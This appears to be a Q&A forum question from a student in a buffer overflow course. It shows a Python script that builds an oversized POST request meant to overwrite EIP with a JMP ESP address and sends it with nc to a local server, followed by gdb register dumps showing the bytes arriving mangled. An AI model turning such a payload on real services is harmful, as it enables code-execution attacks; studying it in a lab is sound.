title: How can I fix this code to overwrite the EIP properly in Python?
body: <p>I am following a buffer overflow course, trying to overwrite the EIP using Python. The example script is as follows:</p>
  <pre><code>import os, sys
  
  #JMP_ESP = 0x804cc6f
  JMP_ESP = &quot;\x6f\xcc\x04\x08&quot;
  
  w = open('./payload.txt', &quot;w&quot;)
  write = &quot;POST &quot;
  write += &quot;A&quot;*1048 + JMP_ESP + &quot;C&quot;*(1400-1048-4)
  w.write(write)
  w.close()
  
  os.system('echo $(cat payload.txt) | nc -nv 127.0.0.1 8080')
  </code></pre>
  <p>This dumps the string to payload.txt which we then send to the server using echo + nc. However, when you use &quot;cat&quot; on the payload.txt file you just get As + o + Cs, like this:</p>
  <pre><code>...AAAAAoCCCCCCC...(omitted)
  </code></pre>
  <p>If I open the file in vi I see this:</p>
  <pre><code>...AAAAoÃŒ^D^HCCCC...(omitted)
  </code></pre>
  <p>From gdb, this is what I see on in the EIP:</p>
  <pre><code>EDI: 0x8048c70 (&lt;_start&gt;:       xor    ebp,ebp)
  EBP: 0x41414141 ('AAAA')
  ESP: 0xffffd5b0 ('C' &lt;repeats 200 times&gt;...)
  EIP: 0xffffd70c --&gt; 0x0
  </code></pre>
  <p>If I change it to &quot;cat -v&quot; I get this:</p>
  <pre><code>EDI: 0x8048c70 (&lt;_start&gt;:       xor    ebp,ebp)
  EBP: 0x41414141 ('AAAA')
  ESP: 0xffffd5b0 (&quot;^D^H&quot;, 'C' &lt;repeats 196 times&gt;...)
  EIP: 0x4c2d4d6f ('oM-L')
  </code></pre>
  <p>Is there some special thing I need to do to when writing the file, opening it or creating the string to get this to work?</p>